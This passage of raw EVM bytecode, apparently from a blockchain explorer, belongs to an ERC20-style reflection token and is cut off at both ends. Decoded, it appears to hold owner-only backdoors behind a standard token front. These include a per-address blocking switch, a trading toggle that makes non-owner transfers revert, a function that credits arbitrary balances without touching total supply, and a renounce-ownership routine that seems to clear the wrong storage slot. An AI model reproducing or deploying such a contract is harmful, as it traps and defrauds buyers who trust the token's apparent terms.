390fd5b600061083e611b11565b905061085381846112e390919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109416108a5611377565b8461093c85600660006108b6611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b611435565b6001905092915050565b610953611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d790612542565b60405180910390fd5b60011515600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a96576000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b74565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610b6b929190612562565b60405180910390a15b50565b600068a2a15d09519be00000831115610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc906125d7565b60405180910390fd5b81610be4576000610bd58461137f565b50505050905080915050610bfa565b6000610bef8461137f565b505050915050809150505b92915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c51611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590612542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610dfb611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90612542565b60405180910390fd5b60001515601260009054906101000a900460ff1615151415610ec4576001601260006101000a81548160ff021916908315150217905550610ee0565b6000601260006101000a81548160ff0219169083151502179055505b565b610eea611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612542565b60405180910390fd5b610fc981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461104990612432565b80601f016020809104026020016040519081016040528092919081815260200182805461107590612432565b80156110c25780601f10611097576101008083540402835291602001916110c2565b820191906000526020600020905b8154815290600101906020018083116110a557829003601f168201915b5050505050905090565b600580546110d990612432565b80601f016020809104026020016040519081016040528092919081815260200182805461110590612432565b80156111525780601f1061112757610100808354040283529160200191611152565b820191906000526020600020905b81548152906001019060200180831161113557829003601f168201915b505050505081565b600061121d611167611377565b8461121885604051806060016040528060258152602001612c4f6025913960066000611191611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b611435565b6001905092915050565b600061123b611234611377565b8484611600565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601260009054906101000a900460ff16905090565b600061132583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3c565b905092915050565b600061136f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aad565b905092915050565b600033905090565b600080600080600080600061139388611b9f565b9150915060006113a1611b11565b905060008060006113b38c8686611bf2565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113e69190612626565b90508381101561142b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611422906126c8565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149c9061275a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c906127ec565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f391906121c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116679061287e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d790612910565b60405180910390fd5b60008111611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906129a2565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117c45750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561180d576000811461180c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611803906129e8565b60405180910390fd5b5b60001515601260009054906101000a900460ff16151514806118615750611832611c50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061189e575061186f611c50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a515761190f81604051806060016040528060268152602001612c0160269139600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a481600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a4491906121c9565b60405180910390a3611aa8565b60001515601260009054906101000a900460ff16151514611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906129e8565b60405180910390fd5b5b505050565b6000838311158290611af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aec91906120c4565b60405180910390fd5b5060008385611b049190612a08565b9050809150509392505050565b6000806000611b1e611c79565b91509150611b3581836112e390919063ffffffff16565b9250505090565b60008083118290611b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7a91906120c4565b60405180910390fd5b5060008385611b929190612a6b565b9050809150509392505050565b6000806000611bcc6003611bbe6103e8876112e390919063ffffffff16565b611f4890919063ffffffff16565b90506000611be3828661132d90919063ffffffff16565b90508082935093505050915091565b600080600080611c0b8588611f4890919063ffffffff16565b90506000611c228688611f4890919063ffffffff16565b90506000611c39828461132d90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600f549050600068a2a15d09519be00000905060005b601080549050811015611efd57826007600060108481548110611cba57611cb9612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611da85750816009600060108481548110611d4057611d3f612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15611dc657600f5468a2a15d09519be0000094509450505050611f44565b611e566007600060108481548110611de157611de0612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461132d90919063ffffffff16565b9250611ee86009600060108481548110611e7357611e72612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361132d90919063ffffffff16565b91508080611ef590612acb565b915050611c94565b50611f1c68a2a15d09519be00000600f546112e390919063ffffffff16565b821015611f3b57600f5468a2a15d09519be00000935093505050611f44565b81819350935050505b9091565b600080831415611f5b5760009050611fbd565b60008284611f699190612b14565b9050828482611f789190612a6b565b14611fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611faf90612be0565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611fdb81611fc8565b8114611fe657600080fd5b50565b600081359050611ff881611fd2565b92915050565b60006020828403121561201457612013611fc3565b5b600061202284828501611fe9565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561206557808201518184015260208101905061204a565b83811115612074576000848401525b50505050565b6000601f19601f8301169050919050565b60006120968261202b565b6120a08185612036565b93506120b0818560208601612047565b6120b98161207a565b840191505092915050565b600060208201905081810360008301526120de818461208b565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612111826120e6565b9050919050565b61212181612106565b811461212c57600080fd5b50565b60008135905061213e81612118565b92915050565b6000806040838503121561215b5761215a611fc3565b5b60006121698582860161212f565b925050602061217a85828601611fe9565b9150509250929050565b60008115159050919050565b61219981612184565b82525050565b60006020820190506121b46000830184612190565b92915050565b6121c381611fc8565b82525050565b60006020820190506121de60008301846121ba565b92915050565b6000806000606084860312156121fd576121fc611fc3565b5b600061220b8682870161212f565b935050602061221c8682870161212f565b925050604061222d86828701611fe9565b9150509250925092565b61224081612106565b82525050565b600060208201905061225b6000830184612237565b92915050565b600060ff82169050919050565b61227781612261565b82525050565b6000602082019050612292600083018461226e565b92915050565b6000602082840312156122ae576122ad611fc3565b5b60006122bc8482850161212f565b91505092915050565b6122ce81612184565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b6000806040838503121561230857612307611fc3565b5b600061231685828601611fe9565b9250506020612327858286016122dc565b9150509250929050565b6000806040838503121561234857612347611fc3565b5b60006123568582860161212f565b92505060206123678582860161212f565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b60006123cd602c83612036565b91506123d882612371565b604082019050919050565b600060208201905081810360008301526123fc816123c0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244a57607f821691505b6020821081141561245e5761245d612403565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006124c0602a83612036565b91506124cb82612464565b604082019050919050565b600060208201905081810360008301526124ef816124b3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061252c602083612036565b9150612537826124f6565b602082019050919050565b6000602082019050818103600083015261255b8161251f565b9050919050565b60006040820190506125776000830185612237565b6125846020830184612190565b9392505050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006125c1601f83612036565b91506125cc8261258b565b602082019050919050565b600060208201905081810360008301526125f0816125b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061263182611fc8565b915061263c83611fc8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612671576126706125f7565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006126b2601b83612036565b91506126bd8261267c565b602082019050919050565b600060208201905081810360008301526126e1816126a5565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612744602483612036565b915061274f826126e8565b604082019050919050565b6000602082019050818103600083015261277381612737565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127d6602283612036565b91506127e18261277a565b604082019050919050565b60006020820190508181036000830152612805816127c9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612868602583612036565b91506128738261280c565b604082019050919050565b600060208201905081810360008301526128978161285b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128fa602383612036565b91506129058261289e565b604082019050919050565b60006020820190508181036000830152612929816128ed565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061298c602983612036565b915061299782612930565b604082019050919050565b600060208201905081810360008301526129bb8161297f565b9050919050565b50565b60006129d2600083612036565b91506129dd826129c2565b600082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b6000612a1382611fc8565b9150612a1e83611fc8565b925082821015612a3157612a306125f7565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a7682611fc8565b9150612a8183611fc8565b925082612a9157612a90612a3c565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ad682611fc8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612b0957612b086125f7565b5b600182019050919050565b6000612b1f82611fc8565b9150612b2a83611fc8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b6357612b626125f7565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bca602183612036565b9150612bd582612b6e565b604082019050919050565b60006020820190508181036000830152612bf981612bbd565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4a785151db8f884d8b23489e4aa19afac21eed2646659999fdc71eaf4cd492b64736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b41146103c95780639d8d8406146103e7578063a457c2d714610405578063a9059cbb14610435578063dd62ed3e14610465578063ee882fb51461049557610158565b806370a082311461031b578063715018a61461034b57806372153a2214610355578063787a08a6146103855780637aadbea91461038f5780638f84aa09146103ab57610158565b80632d838119116101155780632d83811914610233578063313ce56714610263578063377ad12714610281578063395093511461029f5780634355b9d2146102cf5780634549b039146102eb57610158565b8063053ab1821461015d57806306fdde0314610179578063095ea7b31461019757806318160ddd146101c757806323b872dd146101e557806329bd541014610215575b600080fd5b61017760048036038101906101729190611ffe565b6104b3565b005b61018161062d565b60405161018e91906120c4565b60405180910390f35b6101b160048036038101906101ac9190612144565b6106bf565b6040516101be919061219f565b60405180910390f35b6101cf6106dd565b6040516101dc91906121c9565b60405180910390f35b6101ff60048036038101906101fa91906121e4565b6106ee565b60405161020c919061219f565b60405180910390f35b61021d6107c7565b60405161022a9190612246565b60405180910390f35b61024d60048036038101906102489190611ffe565b6107ed565b60405161025a91906121c9565b60405180910390f35b61026b61085b565b604051610278919061227d565b60405180910390f35b610289610872565b6040516102969190612246565b60405180910390f35b6102b960048036038101906102b49190612144565b610898565b6040516102c6919061219f565b60405180910390f35b6102e960048036038101906102e49190612298565b61094b565b005b610305600480360381019061030091906122f1565b610b77565b60405161031291906121c9565b60405180910390f35b61033560048036038101906103309190612298565b610c00565b60405161034291906121c9565b60405180910390f35b610353610c49565b005b61036f600480360381019061036a9190612298565b610d9d565b60405161037c919061219f565b60405180910390f35b61038d610df3565b005b6103a960048036038101906103a49190612144565b610ee2565b005b6103b3611010565b6040516103c09190612246565b60405180910390f35b6103d161103a565b6040516103de91906120c4565b60405180910390f35b6103ef6110cc565b6040516103fc91906120c4565b60405180910390f35b61041f600480360381019061041a9190612144565b61115a565b60405161042c919061219f565b60405180910390f35b61044f600480360381019061044a9190612144565b611227565b60405161045c919061219f565b60405180910390f35b61047f600480360381019061047a9190612331565b611245565b60405161048c91906121c9565b60405180910390f35b61049d6112cc565b6040516104aa919061219f565b60405180910390f35b60006104bd611377565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561054c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610543906123e3565b60405180910390fd5b60006105578361137f565b5050505090506105af81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461132d90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061060781600f5461132d90919063ffffffff16565b600f81905550610622836011546113d790919063ffffffff16565b601181905550505050565b60606002805461063c90612432565b80601f016020809104026020016040519081016040528092919081815260200182805461066890612432565b80156106b55780601f1061068a576101008083540402835291602001916106b5565b820191906000526020600020905b81548152906001019060200180831161069857829003601f168201915b5050505050905090565b60006106d36106cc611377565b8484611435565b6001905092915050565b600068a2a15d09519be00000905090565b60006106fb848484611600565b6107bc84610707611377565b6107b785604051806060016040528060288152602001612c2760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076d611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b611435565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600f54821115610834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082b906124d6565b60405180910390fd5b600061083e611b11565b905061085381846112e390919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006109416108a5611377565b8461093c85600660006108b6611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b611435565b6001905092915050565b610953611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d790612542565b60405180910390fd5b60011515600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610a96576000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b74565b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fa5202f588e35f08e78e28aaaee3ba7c34c214b2baa91e1044de36f4e29d73e0b81600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16604051610b6b929190612562565b60405180910390a15b50565b600068a2a15d09519be00000831115610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc906125d7565b60405180910390fd5b81610be4576000610bd58461137f565b50505050905080915050610bfa565b6000610bef8461137f565b505050915050809150505b92915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c51611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590612542565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610dfb611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90612542565b60405180910390fd5b60001515601260009054906101000a900460ff1615151415610ec4576001601260006101000a81548160ff021916908315150217905550610ee0565b6000601260006101000a81548160ff0219169083151502179055505b565b610eea611377565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e90612542565b60405180910390fd5b610fc981600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461104990612432565b80601f016020809104026020016040519081016040528092919081815260200182805461107590612432565b80156110c25780601f10611097576101008083540402835291602001916110c2565b820191906000526020600020905b8154815290600101906020018083116110a557829003601f168201915b5050505050905090565b600580546110d990612432565b80601f016020809104026020016040519081016040528092919081815260200182805461110590612432565b80156111525780601f1061112757610100808354040283529160200191611152565b820191906000526020600020905b81548152906001019060200180831161113557829003601f168201915b505050505081565b600061121d611167611377565b8461121885604051806060016040528060258152602001612c4f6025913960066000611191611377565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b611435565b6001905092915050565b600061123b611234611377565b8484611600565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601260009054906101000a900460ff16905090565b600061132583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b3c565b905092915050565b600061136f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aad565b905092915050565b600033905090565b600080600080600080600061139388611b9f565b9150915060006113a1611b11565b905060008060006113b38c8686611bf2565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113e69190612626565b90508381101561142b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611422906126c8565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149c9061275a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150c906127ec565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115f391906121c9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611670576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116679061287e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d790612910565b60405180910390fd5b60008111611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a906129a2565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117c45750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561180d576000811461180c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611803906129e8565b60405180910390fd5b5b60001515601260009054906101000a900460ff16151514806118615750611832611c50565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061189e575061186f611c50565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611a515761190f81604051806060016040528060268152602001612c0160269139600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aad9092919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a481600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d790919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a4491906121c9565b60405180910390a3611aa8565b60001515601260009054906101000a900460ff16151514611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906129e8565b60405180910390fd5b5b505050565b6000838311158290611af5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aec91906120c4565b60405180910390fd5b5060008385611b049190612a08565b9050809150509392505050565b6000806000611b1e611c79565b91509150611b3581836112e390919063ffffffff16565b9250505090565b60008083118290611b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7a91906120c4565b60405180910390fd5b5060008385611b929190612a6b565b9050809150509392505050565b6000806000611bcc6003611bbe6103e8876112e390919063ffffffff16565b611f4890919063ffffffff16565b90506000611be3828661132d90919063ffffffff16565b90508082935093505050915091565b600080600080611c0b8588611f4890919063ffffffff16565b90506000611c228688611f4890919063ffffffff16565b90506000611c39828461132d90919063ffffffff16565b905082818395509550955050505093509350939050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600f549050600068a2a15d09519be00000905060005b601080549050811015611efd57826007600060108481548110611cba57611cb9612a9c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180611da85750816009600060108481548110611d4057611d3f612a9c565b5